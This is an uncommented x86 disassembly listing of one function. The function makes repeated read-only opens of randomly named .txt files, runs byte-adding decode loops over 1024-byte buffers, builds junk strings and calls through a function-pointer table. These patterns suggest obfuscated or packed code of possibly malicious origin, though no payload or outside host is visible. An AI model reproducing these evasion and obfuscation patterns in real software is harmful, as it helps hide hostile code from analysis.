lea eax, [ebp - 0x17260]
push eax
lea eax, [ebp - 0x17268]
push eax
lea eax, [ebp - 0x17270]
push eax
push 0x47e82c
call dword [ebp - 0x198ac]
push str.072k
lea ecx, [ebp - 0x16f24]
call fcn.00401c92
cmp dword [ebp - 0x16f10], 0xf
lea eax, [ebp - 0x16f24]
push 0xabd3e0b
cmova eax, dword [ebp - 0x16f24]
push eax
push 0x47e83c
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16f24]
call fcn.004021f4
lea eax, [ebp - 0x16a6c]
mov dword [ebp - 0x16a6c], 0x10
push eax
lea eax, [ebp - 0x8b4]
push eax
call dword [ebp - 0x198b4]
push 0x47e858
lea ecx, [ebp - 0x16f0c]
call fcn.00401c92
cmp dword [ebp - 0x16ef8], 0xf
lea eax, [ebp - 0x16f0c]
push 0x2ba48096
cmova eax, dword [ebp - 0x16f0c]
push eax
push 0x47e85c
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16f0c]
call fcn.004021f4
push str.eNR2lC4E5P
lea ecx, [ebp - 0x18938]
call fcn.00401c92
push 0x3bae23e
lea eax, [ebp - 0x18938]
mov dword [ebp - 4], 0x19
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18938]
call fcn.004021f4
push 0x400
lea eax, [ebp - 0x71f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x71f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x71f8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46db3b
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.SBYLI.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46db7e
push eax
call esi
lea eax, [ebp - 0x16a70]
mov dword [ebp - 0x16a70], 0x10
push eax
lea eax, [ebp - 0x894]
push eax
call dword [ebp - 0x198b4]
lea eax, [ebp - 0x19838]
push eax
call dword [ebp - 0x198b8]
push 8
lea eax, [ebp - 0x17278]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46dbcc
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
push 0x47e8c4
lea ecx, [ebp - 0x16ef4]
call fcn.00401c92
cmp dword [ebp - 0x16ee0], 0xf
lea eax, [ebp - 0x16ef4]
push 0x21f428b9
cmova eax, dword [ebp - 0x16ef4]
push eax
push 0x47e8c8
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16ef4]
call fcn.004021f4
push 0x400
lea eax, [ebp - 0x75f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x75f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x75f8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46dc2d
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46dc90
lea ecx, [ebp - 0x17280]
push ecx
lea ecx, [ebp - 0x17288]
push ecx
lea ecx, [ebp - 0x17290]
push ecx
lea ecx, [ebp - 0x17ce8]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.9QQ.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46dcb5
push eax
call esi
push str.mTDKFGafv
lea ecx, [ebp - 0x18950]
call fcn.00401c92
push 0x167704dc
lea eax, [ebp - 0x18950]
mov dword [ebp - 4], 0x1a
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18950]
call fcn.004021f4
lea eax, [ebp - 0x17298]
push eax
call dword [ebp - 0x198bc]
push 8
lea eax, [ebp - 0x172a0]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46dd31
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
lea eax, [ebp - 0x19848]
push eax
call dword [ebp - 0x198b8]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.tCE.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46dd63
push eax
call esi
lea eax, [ebp - 0x172a8]
push eax
call dword [ebp - 0x198bc]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46ddb5
lea ecx, [ebp - 0x172b0]
push ecx
lea ecx, [ebp - 0x172b8]
push ecx
lea ecx, [ebp - 0x172c0]
push ecx
lea ecx, [ebp - 0x172c8]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
lea eax, [ebp - 0x16a74]
mov dword [ebp - 0x16a74], 0x10
push eax
lea eax, [ebp - 0x874]
push eax
call dword [ebp - 0x198b4]
lea eax, [ebp - 0x16a78]
mov dword [ebp - 0x16a78], 0x10
push eax
lea eax, [ebp - 0x854]
push eax
call dword [ebp - 0x198b4]
push 0x47e94c
lea ecx, [ebp - 0x18968]
call fcn.00401c92
push 0x1a5d604a
lea eax, [ebp - 0x18968]
mov dword [ebp - 4], 0x1b
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18968]
call fcn.004021f4
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push 0x47e950
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46de62
push eax
call esi
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46dea7
lea ecx, [ebp - 0x172d0]
push ecx
lea ecx, [ebp - 0x172d8]
push ecx
lea ecx, [ebp - 0x172e0]
push ecx
lea ecx, [ebp - 0x172e8]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.yO8fEIOxEN.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46decc
push eax
call esi
push 8
lea eax, [ebp - 0x172f0]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46deef
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46df34
lea ecx, [ebp - 0x172f8]
push ecx
lea ecx, [ebp - 0x17300]
push ecx
lea ecx, [ebp - 0x17308]
push ecx
lea ecx, [ebp - 0x17310]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
push str.Tx1TrBkc
lea ecx, [ebp - 0x16edc]
call fcn.00401c92
cmp dword [ebp - 0x16ec8], 0xf
lea eax, [ebp - 0x16edc]
push 0x244dd3d
cmova eax, dword [ebp - 0x16edc]
push eax
push 0x47e9d0
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16edc]
call fcn.004021f4
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46dfbb
lea ecx, [ebp - 0x17318]
push ecx
lea ecx, [ebp - 0x17320]
push ecx
lea ecx, [ebp - 0x17328]
push ecx
lea ecx, [ebp - 0x17330]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
push str.w2Emank
lea ecx, [ebp - 0x18980]
call fcn.00401c92
push 0x2c19fb5b
lea eax, [ebp - 0x18980]
mov dword [ebp - 4], 0x1c
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18980]
call fcn.004021f4
lea eax, [ebp - 0x17338]
push eax
lea eax, [ebp - 0x17340]
push eax
lea eax, [ebp - 0x17348]
push eax
push 0x47e9f0
call dword [ebp - 0x198ac]
lea eax, [ebp - 0x17350]
push eax
call dword [ebp - 0x198bc]
push 8
lea eax, [ebp - 0x17358]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46e057
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.e4evD.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46e07c
push eax
call esi
push str.4VOkU
lea ecx, [ebp - 0x18998]
call fcn.00401c92
push 0x2465e524
lea eax, [ebp - 0x18998]
mov dword [ebp - 4], 0x1d
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18998]
call fcn.004021f4
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46e10d
lea ecx, [ebp - 0x17360]
push ecx
lea ecx, [ebp - 0x17368]
push ecx
lea ecx, [ebp - 0x17370]
push ecx
lea ecx, [ebp - 0x17378]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
lea eax, [ebp - 0x16a7c]
mov dword [ebp - 0x16a7c], 0x10
push eax
lea eax, [ebp - 0x834]
push eax
call dword [ebp - 0x198b4]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.nTK7g09.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46e150
push eax
call esi
lea eax, [ebp - 0x19858]
push eax
call dword [ebp - 0x198b8]
push 0x400
lea eax, [ebp - 0x79f8]
push 0
push eax
call fcn.00439fe0
movaps xmm1, xmmword [ebp - 0x198e0]
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x79f8]
paddb xmm0, xmm1
movups xmmword [ebp + eax - 0x79f8], xmm0
add eax, 0x10
cmp eax, 0x400
jb 0x46e17c
lea eax, [ebp - 0x17380]
push eax
call dword [ebp - 0x198bc]
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46e1ec
lea ecx, [ebp - 0x17388]
push ecx
lea ecx, [ebp - 0x17390]
push ecx
lea ecx, [ebp - 0x17398]
push ecx
lea ecx, [ebp - 0x173a0]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.sGNXmnzfU.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46e211
push eax
call esi
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46e256
lea ecx, [ebp - 0x173a8]
push ecx
lea ecx, [ebp - 0x173b0]
push ecx
lea ecx, [ebp - 0x173b8]
push ecx
lea ecx, [ebp - 0x173c0]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46e29b
lea ecx, [ebp - 0x173c8]
push ecx
lea ecx, [ebp - 0x173d0]
push ecx
lea ecx, [ebp - 0x173d8]
push ecx
lea ecx, [ebp - 0x173e0]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
lea eax, [ebp - 0x173e8]
push eax
lea eax, [ebp - 0x173f0]
push eax
lea eax, [ebp - 0x173f8]
push eax
push 0x47eabc
call dword [ebp - 0x198ac]
push 8
lea eax, [ebp - 0x17400]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46e2de
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
push str.ZaFhU
lea ecx, [ebp - 0x189b0]
call fcn.00401c92
push 0x289a3cd
lea eax, [ebp - 0x189b0]
mov dword [ebp - 4], 0x1e
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x189b0]
call fcn.004021f4
push 0x47eae8
lea ecx, [ebp - 0x1708c]
call fcn.00401c92
cmp dword [ebp - 0x17078], 0xf
lea eax, [ebp - 0x1708c]
push 0x37fe566f
cmova eax, dword [ebp - 0x1708c]
push eax
push 0x47eb08
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x1708c]
call fcn.004021f4
push 0x47eb10
lea ecx, [ebp - 0x189c8]
call fcn.00401c92
push 0x15e458ec
lea eax, [ebp - 0x189c8]
mov dword [ebp - 4], 0x1f
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x189c8]
call fcn.004021f4
call dword [ebp - 0x198a4]
push eax
push 0
push 0x400
call dword [ebp - 0x198a8]
mov dword [ebp - 0x198a0], eax
test eax, eax
je 0x46e3fd
lea ecx, [ebp - 0x17408]
push ecx
lea ecx, [ebp - 0x17410]
push ecx
lea ecx, [ebp - 0x17418]
push ecx
lea ecx, [ebp - 0x17420]
push ecx
push eax
call edi
push dword [ebp - 0x198a0]
call esi
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.YZeHCk.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46e422
push eax
call esi
lea eax, [ebp - 0x19868]
push eax
call dword [ebp - 0x198b8]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.6.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46e454
push eax
call esi
push 0x400
lea eax, [ebp - 0x7df8]
push 0
push eax
call fcn.00439fe0
add esp, 0xc
xor eax, eax
movups xmm0, xmmword [ebp + eax - 0x7df8]
movaps xmm1, xmmword [ebp - 0x198e0]
paddb xmm1, xmm0
movups xmmword [ebp + eax - 0x7df8], xmm1
add eax, 0x10
cmp eax, 0x400
jb 0x46e46c
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.XfXVCZrF.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46e4b6
push eax
call esi
push str.LbTolJ5XQE
lea ecx, [ebp - 0x16eac]
call fcn.00401c92
cmp dword [ebp - 0x16e98], 0xf
lea eax, [ebp - 0x16eac]
push 0x3b51cff1
cmova eax, dword [ebp - 0x16eac]
push eax
push 0x47eb94
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16eac]
call fcn.004021f4
lea eax, [ebp - 0x17428]
push eax
call dword [ebp - 0x198bc]
lea eax, [ebp - 0x17430]
push eax
call dword [ebp - 0x198bc]
push str.HHpw3bKQ6F
lea ecx, [ebp - 0x189e0]
call fcn.00401c92
push 0x283ec49e
lea eax, [ebp - 0x189e0]
mov dword [ebp - 4], 0x20
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x189e0]
call fcn.004021f4
push str.vv6t43J1bI
lea ecx, [ebp - 0x16e7c]
call fcn.00401c92
cmp dword [ebp - 0x16e68], 0xf
lea eax, [ebp - 0x16e7c]
push 0x9c2d733
cmova eax, dword [ebp - 0x16e7c]
push eax
push 0x47ebbc
call fcn.0041cd83
add esp, 0xc
lea ecx, [ebp - 0x16e7c]
call fcn.004021f4
push str.RKrKx
lea ecx, [ebp - 0x189f8]
call fcn.00401c92
push 0x1c4e1533
lea eax, [ebp - 0x189f8]
mov dword [ebp - 4], 0x21
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x189f8]
call fcn.004021f4
lea eax, [ebp - 0x17438]
push eax
lea eax, [ebp - 0x17440]
push eax
lea eax, [ebp - 0x17448]
push eax
push 0x47ebd4
call dword [ebp - 0x198ac]
mov dword [ebp - 0x16a80], 0x10
lea eax, [ebp - 0x16a80]
push eax
lea eax, [ebp - 0x814]
push eax
call dword [ebp - 0x198b4]
lea eax, [ebp - 0x17450]
push eax
call dword [ebp - 0x198bc]
lea eax, [ebp - 0x19878]
push eax
call dword [ebp - 0x198b8]
push 8
lea eax, [ebp - 0x17458]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46e667
push 1
call dword [ebp - 0x198c4]
push 1
call dword [ebp - 0x198c0]
lea eax, [ebp - 0x19888]
push eax
call dword [ebp - 0x198b8]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.pbcDz2iE49.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46e699
push eax
call esi
lea eax, [ebp - 0x17460]
push eax
call dword [ebp - 0x198bc]
lea eax, [ebp - 0x17468]
push eax
call dword [ebp - 0x198bc]
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
push str.uZOgVxY.txt
call dword [ebp - 0x198b0]
cmp eax, 0xffffffff
je 0x46e6d8
push eax
call esi
push str.2SAl5
lea ecx, [ebp - 0x18a10]
call fcn.00401c92
push 0x78b45c4
lea eax, [ebp - 0x18a10]
mov dword [ebp - 4], 0x22
push eax
push 0x490d20
call fcn.00408802
pop ecx
pop ecx
mov ecx, eax
call fcn.004095dc
push eax
call fcn.00408ee3
or dword [ebp - 4], 0xffffffff
pop ecx
lea ecx, [ebp - 0x18a10]
call fcn.004021f4
push 8
lea eax, [ebp - 0x17470]
push eax
call dword [ebp - 0x198c8]
test eax, eax
jne 0x46e747